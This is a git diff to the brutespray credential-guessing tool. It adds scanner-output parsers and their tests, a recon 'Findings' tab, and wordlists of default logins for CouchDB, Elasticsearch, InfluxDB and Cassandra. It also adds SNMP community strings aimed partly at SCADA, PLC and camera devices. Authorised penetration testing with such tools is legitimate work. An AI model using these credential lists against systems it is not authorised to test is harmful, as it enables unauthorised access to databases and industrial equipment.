0000000..7cf7f85 --- /dev/null +++ b/modules/parse_stream_test.go @@ -0,0 +1,101 @@ +package modules + +import ( + "strings" + "testing" +) + +func TestDetectStreamFormat(t *testing.T) { + cases := []struct { + name string + in string + want string + }{ + {"bare-host-port", "10.0.0.5:22\n10.0.0.6:3389\n", "naabu"}, + {"nerva-uri", "ssh://10.0.0.5:22\nmysql://10.0.0.6:3306\n", "nerva-uri"}, + {"nerva-json", `{"ip":"10.0.0.5","port":22,"protocol":"ssh"}`, "nerva-json"}, + {"masscan-json", `[{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]}]`, "masscan-json"}, + {"fingerprintx-json", `{"host":"10.0.0.5","ip":"10.0.0.5","port":22,"service":"ssh","transport":"tcp"}`, "fingerprintx-json"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + got, err := DetectStreamFormat(strings.NewReader(c.in)) + if err != nil { + t.Fatalf("DetectStreamFormat: %v", err) + } + if got != c.want { + t.Fatalf("got %q, want %q", got, c.want) + } + }) + } +} + +func TestParseStreamNaabu(t *testing.T) { + hosts, err := ParseStream(strings.NewReader("10.0.0.5:22\n10.0.0.6:3389\n")) + if err != nil { + t.Fatalf("ParseStream: %v", err) + } + if len(hosts) != 2 { + t.Fatalf("want 2, got %d", len(hosts)) + } + if hosts[0].Service != "ssh" || hosts[1].Service != "rdp" { + t.Fatalf("port→service mapping failed: %+v", hosts) + } +} + +func TestParseStreamNervaURI(t *testing.T) { + hosts, err := ParseStream(strings.NewReader("ssh://10.0.0.5:22\nmysql://10.0.0.6:3306 (resolved.example)\n")) + if err != nil { + t.Fatalf("ParseStream: %v", err) + } + if len(hosts) != 2 { + t.Fatalf("want 2, got %d", len(hosts)) + } + if hosts[0].Service != "ssh" || hosts[1].Service != "mysql" { + t.Fatalf("uri parse failed: %+v", hosts) + } + if hosts[1].Host != "10.0.0.6" || hosts[1].Port != 3306 { + t.Fatalf("parenthetical suffix not stripped: %+v", hosts[1]) + } +} + +func TestParseStreamNervaJSON(t *testing.T) { + in := `{"ip":"10.0.0.5","port":22,"protocol":"ssh"} +{"ip":"10.0.0.6","port":3389,"protocol":"rdp"}` + hosts, err := ParseStream(strings.NewReader(in)) + if err != nil { + t.Fatalf("ParseStream: %v", err) + } + if len(hosts) != 2 { + t.Fatalf("want 2, got %d", len(hosts)) + } +} + +func TestParseStreamFingerprintX(t *testing.T) { + in := `{"host":"10.0.0.5","ip":"10.0.0.5","port":22,"service":"ssh","transport":"tcp"}` + hosts, err := ParseStream(strings.NewReader(in)) + if err != nil { + t.Fatalf("ParseStream: %v", err) + } + if len(hosts) != 1 || hosts[0].Service != "ssh" { + t.Fatalf("fingerprintx parse failed: %+v", hosts) + } +} + +func TestParseStreamMasscan(t *testing.T) { + in := `[{"ip":"10.0.0.5","ports":[{"port":22,"proto":"tcp","status":"open"}]}]` + hosts, err := ParseStream(strings.NewReader(in)) + if err != nil { + t.Fatalf("ParseStream: %v", err) + } + if len(hosts) != 1 || hosts[0].Service != "ssh" { + t.Fatalf("masscan parse failed: %+v", hosts) + } +} + +func TestDetectStreamEmpty(t *testing.T) { + _, err := DetectStreamFormat(strings.NewReader("")) + if err == nil { + t.Fatal("empty stream should error") + } +} diff --git a/modules/snmp_communities.go b/modules/snmp_communities.go new file mode 100644 index 0000000..af5df66 --- /dev/null +++ b/modules/snmp_communities.go @@ -0,0 +1,52 @@ +package modules + +import ( + "fmt" + "strings" + "sync" + + "github.com/x90skysn3k/brutespray/v2/wordlist" +) + +var ( + snmpCacheMu sync.Mutex + snmpCache = map[string][]string{} +) + +// SNMPCommunities returns the embedded community-string list for a tier: +// "default" (~20), "extended" (~50), or "full" (~100+). The returned slice +// is cached after first load. Unknown tier names fall back to "default". +func SNMPCommunities(tier string) ([]string, error) { + snmpCacheMu.Lock() + defer snmpCacheMu.Unlock() + + if cached, ok := snmpCache[tier]; ok { + return cached, nil + } + + var fname string + switch tier { + case "extended": + fname = "snmp/snmp_extended.txt" + case "full": + fname = "snmp/snmp_full.txt" + default: + fname = "snmp/snmp_default.txt" + } + + data, err := wordlist.FS.ReadFile(fname) + if err != nil { + return nil, fmt.Errorf("read %s: %w", fname, err) + } + + var out []string + for _, line := range strings.Split(string(data), "\n") { + s := strings.TrimSpace(line) + if s != "" && !strings.HasPrefix(s, "#") { + out = append(out, s) + } + } + + snmpCache[tier] = out + return out, nil +} diff --git a/tui/messages.go b/tui/messages.go index 67120bb..ec4af1b 100644 --- a/tui/messages.go +++ b/tui/messages.go @@ -1,6 +1,10 @@ package tui -import "time" +import ( + "time" + + "github.com/x90skysn3k/brutespray/v2/brute" +) // AttemptResultMsg is sent by workers after each credential attempt. type AttemptResultMsg struct { @@ -16,6 +20,7 @@ type AttemptResultMsg struct { Retrying bool Timestamp time.Time Banner string + KeyMatch *brute.KeyMatch // non-nil when the attempt matched a known-bad SSH key } // HostStartedMsg is sent when a host begins processing. @@ -44,3 +49,19 @@ type ErrorMsg struct { Message string Timestamp time.Time } + +// FindingEntry holds a single pre-auth recon finding. +type FindingEntry struct { + Severity string + Code string + Service string + Target string + Message string + CVE string + Time time.Time +} + +// FindingMsg is sent when a pre-auth recon finding is produced. +type FindingMsg struct { + Entry FindingEntry +} diff --git a/tui/messages_test.go b/tui/messages_test.go new file mode 100644 index 0000000..c6d162f --- /dev/null +++ b/tui/messages_test.go @@ -0,0 +1,54 @@ +package tui + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/brute" +) + +// TestAttemptResultMsgCarriesKeyMatch verifies that KeyMatch round-trips +// through AttemptResultMsg so the TUI success view can render [+] BADKEY lines. +func TestAttemptResultMsgCarriesKeyMatch(t *testing.T) { + km := &brute.KeyMatch{ + Fingerprint: "SHA256:xyzzy", + Vendor: "Cisco", + CVE: "CVE-2015-1338", + Description: "Cisco default key", + } + + msg := AttemptResultMsg{ + Host: "192.0.2.1", + Port: 22, + Service: "ssh", + User: "admin", + Password: "cisco", + Success: true, + Connected: true, + Duration: 100 * time.Millisecond, + Timestamp: time.Now(), + KeyMatch: km, + } + + if msg.KeyMatch == nil { + t.Fatal("KeyMatch is nil, expected non-nil") + } + if msg.KeyMatch.CVE != "CVE-2015-1338" { + t.Fatalf("KeyMatch.CVE = %q, want CVE-2015-1338", msg.KeyMatch.CVE) + } + if msg.KeyMatch.Vendor != "Cisco" { + t.Fatalf("KeyMatch.Vendor = %q, want Cisco", msg.KeyMatch.Vendor) + } + if msg.KeyMatch.Fingerprint != "SHA256:xyzzy" { + t.Fatalf("KeyMatch.Fingerprint = %q, want SHA256:xyzzy", msg.KeyMatch.Fingerprint) + } +} + +// TestAttemptResultMsgKeyMatchNilByDefault confirms that a zero-value +// AttemptResultMsg has a nil KeyMatch (normal credential attempts). +func TestAttemptResultMsgKeyMatchNilByDefault(t *testing.T) { + var msg AttemptResultMsg + if msg.KeyMatch != nil { + t.Fatal("KeyMatch should be nil for a zero-value AttemptResultMsg") + } +} diff --git a/tui/model.go b/tui/model.go index 976d25e..f57c9bd 100644 --- a/tui/model.go +++ b/tui/model.go @@ -89,6 +89,8 @@ type Model struct { version string splashActive bool + + findings []FindingEntry } // NewModel creates a new TUI model. resumedProgress is the number of attempts @@ -202,6 +204,10 @@ func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { m.completedView.AddCompleted(msg) return m, nil + case FindingMsg: + m.findings = append(m.findings, msg.Entry) + return m, nil + case doneMsg: m.done = true m.setStatus("All hosts completed. Press Ctrl+C to exit.") @@ -389,6 +395,7 @@ func (m Model) View() string { TabCompleted: m.completedView.Count(), TabSuccess: m.successView.Count(), TabErrors: m.errorsView.Count(), + TabFindings: len(m.findings), } tabBar := RenderTabBar(m.activeTab, m.width, &m.scheme, badges, m.tabBarFocused, m.version) @@ -407,6 +414,8 @@ func (m Model) View() string { content = m.successView.View(&m.scheme) case TabErrors: content = m.errorsView.View(&m.scheme) + case TabFindings: + content = m.viewFindings() case TabSettings: content = m.settingsView.View(&m.scheme) } diff --git a/tui/tabs.go b/tui/tabs.go index 8f3e29c..7bd7590 100644 --- a/tui/tabs.go +++ b/tui/tabs.go @@ -17,11 +17,12 @@ const ( TabCompleted TabSuccess TabErrors + TabFindings TabSettings tabCount // sentinel for total count ) -var tabNames = []string{"All", "By Host", "By Service", "Completed", "Successes", "Errors", "Settings"} +var tabNames = []string{"All", "By Host", "By Service", "Completed", "Successes", "Errors", "Findings", "Settings"} // brandText is the compact brand name shown in the top-right of the tab bar. const brandText = "BRUTESPRAY" diff --git a/tui/view_findings.go b/tui/view_findings.go new file mode 100644 index 0000000..e1b3f99 --- /dev/null +++ b/tui/view_findings.go @@ -0,0 +1,40 @@ +package tui + +import ( + "fmt" + "strings" + + "github.com/charmbracelet/lipgloss" +) + +func (m Model) viewFindings() string { + if len(m.findings) == 0 { + return lipgloss.NewStyle(). + Foreground(lipgloss.Color("#888888")). + Render("No findings yet. Pre-auth recon results (SSH bad-keys, RDP NLA, sticky-keys) appear here.") + } + var b strings.Builder + for _, f := range m.findings { + sev := f.Severity + // Color by severity to match WriteFinding's scheme: + // CRITICAL → red, HIGH → bright red, WARN → yellow, INFO → cyan + var sevColor lipgloss.Color + switch sev { + case "CRITICAL": + sevColor = "#ff5555" + case "HIGH": + sevColor = "#ff8888" + case "WARN": + sevColor = "#ffaa00" + default: + sevColor = "#00ffff" + } + sevStyled := lipgloss.NewStyle().Bold(true).Foreground(sevColor).Render("[" + sev + "]") + cve := "" + if f.CVE != "" { + cve = " (" + f.CVE + ")" + } + b.WriteString(fmt.Sprintf("%s %s %s %s%s\n", sevStyled, f.Service, f.Target, f.Message, cve)) + } + return b.String() +} diff --git a/tui/view_findings_test.go b/tui/view_findings_test.go new file mode 100644 index 0000000..c80fb74 --- /dev/null +++ b/tui/view_findings_test.go @@ -0,0 +1,54 @@ +package tui + +import ( + "strings" + "testing" + "time" +) + +func TestViewFindingsEmptyState(t *testing.T) { + m := Model{} + out := m.viewFindings() + if !strings.Contains(out, "No findings") { + t.Fatalf("expected empty-state placeholder, got: %s", out) + } +} + +func TestViewFindingsRendersEntries(t *testing.T) { + m := Model{ + findings: []FindingEntry{ + {Severity: "WARN", Service: "rdp", Target: "10.0.0.5:3389", Message: "NLA not enforced", Time: time.Now()}, + {Severity: "CRITICAL", Service: "rdp", Target: "10.0.0.5:3389", Message: "sticky-keys backdoor", CVE: "", Time: time.Now()}, + }, + } + out := m.viewFindings() + for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced", "CRITICAL", "sticky-keys backdoor"} { + if !strings.Contains(out, want) { + t.Fatalf("output missing %q: %s", want, out) + } + } +} + +func TestViewFindingsRendersCVE(t *testing.T) { + m := Model{ + findings: []FindingEntry{ + {Severity: "INFO", Service: "ssh", Target: "10.0.0.5:22", Message: "F5 bad key", CVE: "CVE-2012-1493", Time: time.Now()}, + }, + } + out := m.viewFindings() + if !strings.Contains(out, "CVE-2012-1493") { + t.Fatalf("output missing CVE: %s", out) + } +} + +func TestAddFindingThroughUpdate(t *testing.T) { + m := Model{} + updated, _ := m.Update(FindingMsg{Entry: FindingEntry{Severity: "INFO", Service: "ssh", Target: "10.0.0.5:22", Message: "test"}}) + final := updated.(Model) + if len(final.findings) != 1 { + t.Fatalf("findings len = %d, want 1", len(final.findings)) + } + if final.findings[0].Severity != "INFO" { + t.Fatalf("severity = %q", final.findings[0].Severity) + } +} diff --git a/wordlist/cassandra/password b/wordlist/cassandra/password new file mode 100644 index 0000000..8109bc5 --- /dev/null +++ b/wordlist/cassandra/password @@ -0,0 +1,3 @@ +cassandra +admin +changeme diff --git a/wordlist/cassandra/user b/wordlist/cassandra/user new file mode 100644 index 0000000..ffaee67 --- /dev/null +++ b/wordlist/cassandra/user @@ -0,0 +1,3 @@ +cassandra +admin +user diff --git a/wordlist/couchdb/password b/wordlist/couchdb/password new file mode 100644 index 0000000..b6c989b --- /dev/null +++ b/wordlist/couchdb/password @@ -0,0 +1,3 @@ +admin +couchdb +password diff --git a/wordlist/couchdb/user b/wordlist/couchdb/user new file mode 100644 index 0000000..cd095ad --- /dev/null +++ b/wordlist/couchdb/user @@ -0,0 +1,3 @@ +admin +couchdb +user diff --git a/wordlist/elasticsearch/password b/wordlist/elasticsearch/password new file mode 100644 index 0000000..d6eb8bb --- /dev/null +++ b/wordlist/elasticsearch/password @@ -0,0 +1,3 @@ +elastic +changeme +admin diff --git a/wordlist/elasticsearch/user b/wordlist/elasticsearch/user new file mode 100644 index 0000000..078066b --- /dev/null +++ b/wordlist/elasticsearch/user @@ -0,0 +1,4 @@ +elastic +admin +kibana +logstash diff --git a/wordlist/embed.go b/wordlist/embed.go index 3b441fb..adb0c57 100644 --- a/wordlist/embed.go +++ b/wordlist/embed.go @@ -2,5 +2,5 @@ package wordlist import "embed" -//go:embed manifest.yaml all:_base all:_layers all:overrides snmp +//go:embed manifest.yaml all:_base all:_layers all:overrides snmp couchdb elasticsearch influxdb var FS embed.FS diff --git a/wordlist/influxdb/password b/wordlist/influxdb/password new file mode 100644 index 0000000..8e43715 --- /dev/null +++ b/wordlist/influxdb/password @@ -0,0 +1,8 @@ +admin +influxdb +password +123456 +secret +password123 +root +guest diff --git a/wordlist/influxdb/user b/wordlist/influxdb/user new file mode 100644 index 0000000..c654b1a --- /dev/null +++ b/wordlist/influxdb/user @@ -0,0 +1,5 @@ +admin +influxdb +root +guest +user diff --git a/wordlist/manifest.yaml b/wordlist/manifest.yaml index d71476f..224658e 100644 --- a/wordlist/manifest.yaml +++ b/wordlist/manifest.yaml @@ -105,3 +105,12 @@ services: wrapper: users: [sysadmin_users] passwords: [common_passwords] + couchdb: + users: ["couchdb/user"] + passwords: ["couchdb/password"] + elasticsearch: + users: ["elasticsearch/user"] + passwords: ["elasticsearch/password"] + influxdb: + users: ["influxdb/user"] + passwords: ["influxdb/password"] diff --git a/wordlist/snmp/snmp_default.txt b/wordlist/snmp/snmp_default.txt new file mode 100644 index 0000000..434b6e0 --- /dev/null +++ b/wordlist/snmp/snmp_default.txt @@ -0,0 +1,20 @@ +public +private +manager +admin +cisco +default +read +write +community +secret +test +rw +ro +guest +snmpd +snmp +internal +external +local +network diff --git a/wordlist/snmp/snmp_extended.txt b/wordlist/snmp/snmp_extended.txt new file mode 100644 index 0000000..017cab4 --- /dev/null +++ b/wordlist/snmp/snmp_extended.txt @@ -0,0 +1,55 @@ +public +private +manager +admin +cisco +default +read +write +community +secret +test +rw +ro +guest +snmpd +snmp +internal +external +local +network +proxy +tivoli +ILMI +all private +1234 +admin@123 +agent_steal +cable-d +cisco_router +hp_admin +juniper +juniper_admin +juniper_ro +juniper_rw +NoGaH$@! +OrigEquipMfr +private@123 +proxy@123 +read-only +read-write +readonly +readwrite +regional +router +SECURITY +SNMPV2 +snmpwrite +snmp_trap +SuN_MaNaGeR +SwitcHeS +SyStEm +test2 +trap +work +xerox diff --git a/wordlist/snmp/snmp_full.txt b/wordlist/snmp/snmp_full.txt new file mode 100644 index 0000000..b23aa54 --- /dev/null +++ b/wordlist/snmp/snmp_full.txt @@ -0,0 +1,96 @@ +public +private +manager +admin +cisco +default +read +write +community +secret +test +rw +ro +guest +snmpd +snmp +internal +external +local +network +proxy +tivoli +ILMI +all private +1234 +admin@123 +agent_steal +cable-d +cisco_router +hp_admin +juniper +juniper_admin +juniper_ro +juniper_rw +NoGaH$@! +OrigEquipMfr +private@123 +proxy@123 +read-only +read-write +readonly +readwrite +regional +router +SECURITY +SNMPV2 +snmpwrite +snmp_trap +SuN_MaNaGeR +SwitcHeS +SyStEm +test2 +trap +work +xerox +SCADA +SCADA_RW +SCADA_RO +schneider +plc_admin +plc_user +modbus_admin +plc_default +PUBLIC +SECRETID +device +device_admin +iLO +iLOAdmin +PRTG +prtg +solarwinds +intermapper +ENTPASS +ENTERPRISE +NETMAN +NET_OPS +TEAM +camera +hikvision +dahua +axis +arecont +foscam +trendnet +sony_camera +sony +amcrest +emc +isilon +oncue +sanstation +netapp +synology +qnap +buffalo